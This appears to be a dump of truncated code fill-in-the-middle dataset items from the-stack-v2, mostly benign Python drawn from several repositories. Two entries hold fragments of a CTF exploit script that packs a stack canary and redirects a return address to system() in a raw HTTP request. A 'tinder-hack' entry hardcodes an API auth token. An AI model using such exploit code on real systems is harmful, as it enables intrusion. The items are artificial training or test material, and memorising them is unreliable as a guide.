endog = daily_returns[item]
exog = sm.add_constant(daily_returns['USO'])
rols = RollingOLS(endog, exog, window=60)
rres = rols.fit()
d... | code_fim | hard | {
"lang": "python",
"repo": "reckoning-machines/oil_betas",
"path": "/oil.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>import matplotlib.pyplot as plt
#%matplotlib inline
x_data = df_out['Date']
fig, ax = plt.subplots()
for column in df_out.columns:
if "Date" not in column:
ax.plot(x_data, df_out[column],label=column)
ax.set_title('Rolling Betas Vs OIL ETF ')
ax.legend()
st.write(fig)
st.write(df_stats)<|fim_p... | code_fim | hard | {
"lang": "python",
"repo": "reckoning-machines/oil_betas",
"path": "/oil.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>s = socket.socket()
s.connect(('127.0.0.1',8000))
send="POST /ultimate.html HTTP/1.1\r\n"
send+="Host: localhost:8000\r\n"
send+="Authorization: Basic YWRtaW46eW91IHNoYWxsIG5vdCBwYXNz\r\n"
send+="Content-Type: application/octet-stream\r\n\r\n"
send+=body
s.send(send)
time.sleep(1)
#r = s.recv(2000)
#pri... | code_fim | hard | {
"lang": "python",
"repo": "konstantinaRK/CyberSecurityCTF",
"path": "/hack2.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: konstantinaRK/CyberSecurityCTF path: /hack2.py
import socket
import time
import base64
from sys import argv
import struct
canary = struct.pack('<L', int(argv[1], base=16))
ret_addr = struct.pack('<L', int(argv[2], base=16) - int("0x2d437", base=16))
# chech_auth + 0x2d437 = system
string_pointer... | code_fim | medium | {
"lang": "python",
"repo": "konstantinaRK/CyberSecurityCTF",
"path": "/hack2.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> type_defs = """
type Query {
test(data: TestInput): Int
}
input TestInput {
value: Int
}
"""
def resolve_test(*_, data):
assert data == {"value": 4}
return "42"
resolvers = {"Query": {"test": resolve_test}}
sch... | code_fim | hard | {
"lang": "python",
"repo": "un33k/ariadne",
"path": "/tests/test_queries.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: un33k/ariadne path: /tests/test_queries.py
from unittest.mock import Mock
from graphql import graphql
from ariadne import make_executable_schema, resolve_to
def test_query_root_type_default_resolver():
type_defs = """
type Query {
test: String
}
"""
re... | code_fim | hard | {
"lang": "python",
"repo": "un33k/ariadne",
"path": "/tests/test_queries.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> resolvers = {
"Query": {"user": lambda *_: Mock(first_name="Joe")},
"User": {"firstName": resolve_to("first_name")},
}
schema = make_executable_schema(type_defs, resolvers)
result = graphql(schema, "{ user { firstName } }")
assert result.errors is None
assert resu... | code_fim | hard | {
"lang": "python",
"repo": "un33k/ariadne",
"path": "/tests/test_queries.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>
# Get species list
if species is None:
species_list = list(loaded_configs['species_parameters'].keys())
else:
species_list = list(species)
try:
results = []
with concurrent.futures.ProcessPoolExecutor() as executor:
species_runs = {executor.sub... | code_fim | hard | {
"lang": "python",
"repo": "jemissik/fetch3_nhl",
"path": "/fetch3/run.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jemissik/fetch3_nhl path: /fetch3/run.py
# -*- coding: utf-8 -*-
"""
####
Main
####
Main model runner
Note: This is intended to be run from the command line
"""
import time
import os
start = time.time() # start run clock
import shutil
import logging
import yaml
from pathlib import Path
impor... | code_fim | hard | {
"lang": "python",
"repo": "jemissik/fetch3_nhl",
"path": "/fetch3/run.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> log_path = exp_dir / "fetch3.log"
if log_path.exists():
os.remove(log_path)
fh = logging.FileHandler(log_path)
fh.setLevel(logging.DEBUG)
fh.setFormatter(logging.Formatter(log_format))
logger.addHandler(fh)
HEADER_BAR = """
#########################################... | code_fim | hard | {
"lang": "python",
"repo": "jemissik/fetch3_nhl",
"path": "/fetch3/run.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: holland-backup/holland path: /holland/core/config/__init__.py
"""
Module to read configuration files
"""
<|fim_suffix|>__all__ = ["HOLLANDCFG", "setup_config", "load_backupset_config", "BaseConfig"]<|fim_middle|>from configobj import ConfigObj, ConfigObjError, ParseError
from .config import (
... | code_fim | medium | {
"lang": "python",
"repo": "holland-backup/holland",
"path": "/holland/core/config/__init__.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>from .config import (
HOLLANDCFG,
BaseConfig,
ConfigError,
load_backupset_config,
setup_config,
)
__all__ = ["HOLLANDCFG", "setup_config", "load_backupset_config", "BaseConfig"]<|fim_prefix|># repo: holland-backup/holland path: /holland/core/config/__init__.py
"""
Module to read conf... | code_fim | medium | {
"lang": "python",
"repo": "holland-backup/holland",
"path": "/holland/core/config/__init__.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: saurabh1907/leetcode-programming path: /src/main/leetcode/number_complement.py
class Solution:
def findComplement(self, num: int) -> int:
<|fim_suffix|> else:
ch.append('0')
return int(''.join(ch), 2)<|fim_middle|>bin_string = bin(num)[2:]
ch = ['0','b'... | code_fim | hard | {
"lang": "python",
"repo": "saurabh1907/leetcode-programming",
"path": "/src/main/leetcode/number_complement.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> else:
ch.append('0')
return int(''.join(ch), 2)<|fim_prefix|># repo: saurabh1907/leetcode-programming path: /src/main/leetcode/number_complement.py
class Solution:
def findComplement(self, num: int) -> int:
bin_string = bin(num)[2:]
ch = ['0','b']
for ... | code_fim | hard | {
"lang": "python",
"repo": "saurabh1907/leetcode-programming",
"path": "/src/main/leetcode/number_complement.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ntogasa/campground_scavenger path: /apps/scavenger/views.py
from django.shortcuts import render
from . import models, forms, check
# Create your views here.
def campground_checker_view(request):
"""Handles availability requests and loads the form for users to submit requests."""
# If PO... | code_fim | hard | {
"lang": "python",
"repo": "ntogasa/campground_scavenger",
"path": "/apps/scavenger/views.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> 'results': results})
except:
return render(request, 'no_results_found.html')
else:
return 'No success'
# If GET or other type of request, load empty form
else:
form = forms.CampgroundForm()
return render(request, 'availability.h... | code_fim | hard | {
"lang": "python",
"repo": "ntogasa/campground_scavenger",
"path": "/apps/scavenger/views.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>cv_lr = CrossValidator(estimator=lr,estimatorParamMaps=paramGrid_lr,evaluator=evaluator,numFolds=3)
#Decision Tree model
dt = DecisionTreeClassifier(labelCol="label", featuresCol="features")
paramGrid_dt = ParamGridBuilder() .addGrid(dt.maxDepth, [2, 3, 5]).build()
cv_dt = CrossValidator(estima... | code_fim | hard | {
"lang": "python",
"repo": "ivychen0515/Lazada_Kakade",
"path": "/concise_model_v1.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>
#assembling features
assembler = VectorAssembler(
inputCols=["original_tokens", "nsw_tokens","sw_tokens", "regex_tokens","tit_des_ratio","repeat_tokens","title_character_count","clarity"],
outputCol="features")
test_4 = assembler.transform(test_3)
test_4=test_4.select("index","title","features"... | code_fim | hard | {
"lang": "python",
"repo": "ivychen0515/Lazada_Kakade",
"path": "/concise_model_v1.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ivychen0515/Lazada_Kakade path: /concise_model_v1.py
# coding: utf-8
#used features:
# "original_tokens" : 原title词数,
#"nsw_tokens": 非特殊字符、stopwords词数,
#"sw_tokens": stopwords词数,
#"regex_tokens": 特殊字符词数,
#"tit_des_ratio": 去除特殊字符和stopwords后title与des词数比,
#"repeat_tokens": 重复词数(重复过的词数,不包含第一次),
#"t... | code_fim | hard | {
"lang": "python",
"repo": "ivychen0515/Lazada_Kakade",
"path": "/concise_model_v1.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Cawb07/projecteulerstuff path: /python/40.py
'''
Created on Sep 6, 2013
https://projecteuler.net/problem=40
An irrational decimal fraction is created by concatenating
the positive integers:
0.12345678910
!!!1!!!
112131415161718192021...
It can be seen that the 12th digit of the fractional pa... | code_fim | medium | {
"lang": "python",
"repo": "Cawb07/projecteulerstuff",
"path": "/python/40.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>@author: Cawb07
'''
import time
start = time.time()
i = 1
s = "."
while len(s) < 1000001:
s += str(i)
i += 1
print int(s[1])*int(s[10])*int(s[100])*int(s[1000])*\
int(s[10000])*int(s[100000])*int(s[1000000])
elapsed = time.time() - start
print "The elapsed time is %s seconds." % (elapsed)<|fi... | code_fim | hard | {
"lang": "python",
"repo": "Cawb07/projecteulerstuff",
"path": "/python/40.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>elapsed = time.time() - start
print "The elapsed time is %s seconds." % (elapsed)<|fim_prefix|># repo: Cawb07/projecteulerstuff path: /python/40.py
'''
Created on Sep 6, 2013
https://projecteuler.net/problem=40
An irrational decimal fraction is created by concatenating
the positive integers:
0.123456... | code_fim | medium | {
"lang": "python",
"repo": "Cawb07/projecteulerstuff",
"path": "/python/40.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> imm8 = instr[24:32]
wback = instr[23]
add = instr[22]
index = instr[21]
rt = instr[16:20]
rn = instr[12:16]
if rn == "0b1111" or (not index and not wback):
raise UndefinedInstructionException()
elif rt.uint in (13, 15) or (wback a... | code_fim | hard | {
"lang": "python",
"repo": "doronz88/armulator",
"path": "/armulator/armv6/opcodes/thumb_instruction_set/thumb_instruction_set_encoding_32_bit/thumb_store_single_data_item/str_immediate_thumb_t4.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def get_data(token, url):
headers = {}
headers['X-Auth-Token'] = token
request = urllib.request.Request(url, headers=headers)
response = urllib.request.urlopen(request).read()
data = json.loads(response.decode("utf-8"))
return data
def exclude_profile_list(data, id):
try:
... | code_fim | hard | {
"lang": "python",
"repo": "vlf1991/tinder-hack",
"path": "/app.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: vlf1991/tinder-hack path: /app.py
from flask import Flask, render_template, request
import urllib
import json
from PIL import Image
import numpy as np
app = Flask(__name__)
TOKEN = '4b25cd19-cfa6-46b0-9c16-67745a6ca844'
@app.route('/likes', methods=['GET'])
def likes():
token = TOKEN if re... | code_fim | hard | {
"lang": "python",
"repo": "vlf1991/tinder-hack",
"path": "/app.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lefan2016/3D-Character-Advance-Picker-UI path: /LogicData/new_snaps.py
import maya.cmds as cmds
import maya.OpenMaya as om
from collections import OrderedDict
#--------------------------------------------------------------------------------------------------------------------------------------... | code_fim | hard | {
"lang": "python",
"repo": "lefan2016/3D-Character-Advance-Picker-UI",
"path": "/LogicData/new_snaps.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> lower_rot = cmds.xform(prefix +"Hitch_lowerarm_r_IK", q=1, ws=1, ro=1)
cmds.xform(prefix +"Hitch_r_lowerarm_FK_Ctrl", ws=1, ro=lower_rot)
matrix = cmds.xform(prefix +"Hitch_r_hand_IK_Ctrl", q=1, ws=1, m=1)
cmds.xform(prefix +"Hitch_r_hand_FK_Ctrl", ws... | code_fim | hard | {
"lang": "python",
"repo": "lefan2016/3D-Character-Advance-Picker-UI",
"path": "/LogicData/new_snaps.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> hand_pos = cmds.xform(prefix +"Hitch_r_hand_FK_Ctrl", q=1, ws=1, m=1)
cmds.xform(prefix +"Hitch_r_hand_IK_Ctrl", ws=1, m=hand_pos)
cmds.setAttr(prefix +"Arm_r_Attributes.IK_1_FK_0", 1)
om.MGlobal.displayInfo(" You are now in IK system ")... | code_fim | hard | {
"lang": "python",
"repo": "lefan2016/3D-Character-Advance-Picker-UI",
"path": "/LogicData/new_snaps.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>'data/dota1_1024/'
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
data = dict(
imgs_per_gpu=1,
workers_per_gpu=2,
train=dict(
type=dataset_type,
ann_file=data_root + 'trainval1024/DOTA_trainval1024.json',
img_prefix=da... | code_fim | hard | {
"lang": "python",
"repo": "ch-ho00/FCOS_obb",
"path": "/configs/r3det/r3det_dota_prev.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ch-ho00/FCOS_obb path: /configs/r3det/r3det_dota_prev.py
# model settings
# retinanet_obb_r50_fpn_2x.py
model = dict(
type='R3Det',
pretrained='modelzoo://resnet50',
backbone=dict(
type='ResNet',
depth=50,
num_stages=4,
out_indices=(0, 1, 2, 3),
... | code_fim | hard | {
"lang": "python",
"repo": "ch-ho00/FCOS_obb",
"path": "/configs/r3det/r3det_dota_prev.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> try:
print('\n','-'*10,'CAFE TITLES','-'*10)
elem = driver.find_element_by_class_name('_cafeBase')
lis = elem.find_elements_by_tag_name('li')
for li in lis:
atag= li.find_element_by_class_name('sh_cafe_title')
title = atag.get_attribute('ti... | code_fim | hard | {
"lang": "python",
"repo": "HeainLee/Web-Crawling",
"path": "/Naver_query.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|> try:
print('-'*10,'BLOG TITLES','-'*10)
elem = driver.find_element_by_class_name('_blogBase')
lis = elem.find_elements_by_tag_name('li')
for li in lis:
atag = li.find_element_by_class_name('sh_blog_title')
print(atag.get_attribute('title'))... | code_fim | medium | {
"lang": "python",
"repo": "HeainLee/Web-Crawling",
"path": "/Naver_query.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: HeainLee/Web-Crawling path: /Naver_query.py
#-*- coding: UTF-8 -*-
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import requests
#중요 태그 : div, li
driver = webdriver.Chrome('C:/Users/Heain/Desktop/2018_FastCampus/Python/Intermediate/chromedriver.ex... | code_fim | hard | {
"lang": "python",
"repo": "HeainLee/Web-Crawling",
"path": "/Naver_query.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_suffix|>if __name__ == '__main__':
take_child('find_long_part_at_life')<|fim_prefix|># repo: JingkaiTang/github-play path: /way/old_eye.py
#! /usr/bin/env python
def take_child(str_arg):
<|fim_middle|> long_person(str_arg)
print('number')
def long_person(str_arg):
print(str_arg)
| code_fim | medium | {
"lang": "python",
"repo": "JingkaiTang/github-play",
"path": "/way/old_eye.py",
"mode": "spm",
"license": "unknown",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: JingkaiTang/github-play path: /way/old_eye.py
#! /usr/bin/env python
def take_child(str_arg):
<|fim_suffix|> print(str_arg)
if __name__ == '__main__':
take_child('find_long_part_at_life')<|fim_middle|> long_person(str_arg)
print('number')
def long_person(str_arg):
| code_fim | medium | {
"lang": "python",
"repo": "JingkaiTang/github-play",
"path": "/way/old_eye.py",
"mode": "psm",
"license": "unknown",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.